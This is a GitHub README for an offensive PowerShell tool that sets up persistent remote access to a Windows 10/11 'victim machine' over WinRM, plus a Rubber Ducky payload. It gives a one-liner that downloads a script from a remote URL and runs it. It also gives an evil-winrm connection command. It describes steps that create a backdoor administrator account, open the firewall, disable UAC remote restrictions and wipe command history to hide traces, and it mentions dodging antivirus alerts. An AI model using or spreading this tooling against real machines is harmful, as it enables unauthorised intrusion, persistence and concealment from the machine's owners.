VBV11 / WinRM-Reverse-Shell

WinRM Reverse Shell Using Powershell.

WinRM Reverse Shell

Introduction

This repository provides a PowerShell script to establish a reverse shell connection via Windows Remote Management (WinRM) on Windows 10/11. Additionally it includes a Rubber Ducky payload for alternative deployment.

Update

I removed the hide windows function triggering the AV alert.

Dependencies

• Both attacker and victim must be on the same network for the connection to be established successfully.
• Ensure you have administrative access to the target machine.

Usage

1. Edit WinRM.ps1:
   • Set your desired username and password by modifying the variables $Username and $Password.
2. Run the following PowerShell one-liner on the victim machine with administrative privileges:

   IEX (IWR "https://raw.githubusercontent.com/VBV11/WinRM-Reverse-Shell/main/WinRM.ps1")
   

Use Evil-WinRM to connect to the victim machine:

evil-winrm -i YOUR.IP.ADDRESS -u Admin -p Password1

Rubber Ducky Payload

The repository includes a Rubber Ducky payload for alternative deployment. Edit the payload speed and URL as needed.

WinRM.mp4

Additional Information

The created user account can be viewed in User Accounts. To view the account, type netplwiz in the Run box.

• Account information may also be visible on the login screen.

Script Breakdown

The PowerShell script is divided into several parts:

Creation of a new local user account.

Addition of the new user to the local Administrators group.

Enabling of Windows Remote Management (WinRM).

Adding a firewall rule to allow WinRM traffic.

Disabling UAC remote restrictions.

Deletion of run box history and PowerShell history.

Credits

Inspired by TW-D.